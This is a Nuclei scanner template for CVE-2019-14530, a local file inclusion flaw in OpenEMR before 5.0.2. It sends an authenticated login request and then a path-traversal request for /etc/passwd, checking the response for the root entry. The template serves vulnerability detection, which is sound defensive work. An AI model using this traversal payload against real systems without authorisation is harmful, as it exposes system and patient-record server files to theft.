nuclei-templates/http/cves/2019/CVE-2019-14530.yaml

63 lines
2.1 KiB
YAML

id: CVE-2019-14530
info:
name: OpenEMR <5.0.2 - Local File Inclusion
author: TenBird
severity: high
description: |
OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
remediation: |
Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
reference:
- https://www.exploit-db.com/exploits/50037
- https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
- https://github.com/openemr/openemr/pull/2592
- https://nvd.nist.gov/vuln/detail/CVE-2019-14530
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2019-14530
cwe-id: CWE-22
epss-score: 0.86603
epss-percentile: 0.98247
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: open-emr
product: openemr
tags: lfi,authenticated,edb,cve,cve2019,openemr
http:
- raw:
- |
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
- |
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: header
words:
- filename=passwd
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a00473045022036285bebdddbdb8066cb8681a7f8863b4c2953a93053d07890992c80df970ab8022100d88465cc175f837933c1fd75d7029be2fe1a962f67b5eef5ffecfe9e58f37c68:922c64590222798bb761d5b6d8e72950